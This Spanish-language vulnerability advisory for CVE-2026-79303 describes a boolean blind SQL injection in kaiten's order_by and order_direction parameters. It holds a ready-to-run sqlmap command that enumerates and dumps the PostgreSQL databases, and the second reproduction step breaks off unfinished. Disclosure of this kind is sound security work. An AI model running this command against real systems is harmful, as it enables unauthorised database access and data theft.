CVE-2026-79303

Inyección SQL ciega booleana

Descripción: Las sentencias SQL dinámicas se generan sin la validación de datos requerida y sin utilizar sentencias parametrizadas o procedimientos almacenados.

Impacto: SQLi

Vector CVSSv3.1: AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H (9.9 Crítico)

CWE: CWE-89: Neutralización incorrecta de elementos especiales utilizados en un comando SQL ('Inyección SQL')

Componente afectado: Parámetros GET order_by y order_direction

Proveedor: kaiten

Producto afectado

• Versiones de kaiten: 57.192.20 < 57.214.26

Pasos para reproducir:

1. sqlmap -u "https://[kaiten ip]/api/cards?version=2&limit=51&query=1&order_by=1&order_direction=desc&search_fields=title" --cookie="connect.sid=[value]" -p 'order_by' --technique B --level 5 --dbms postgresql --dbs --dump
2. Escriba n (no fusionar su cookie con una nueva) -> C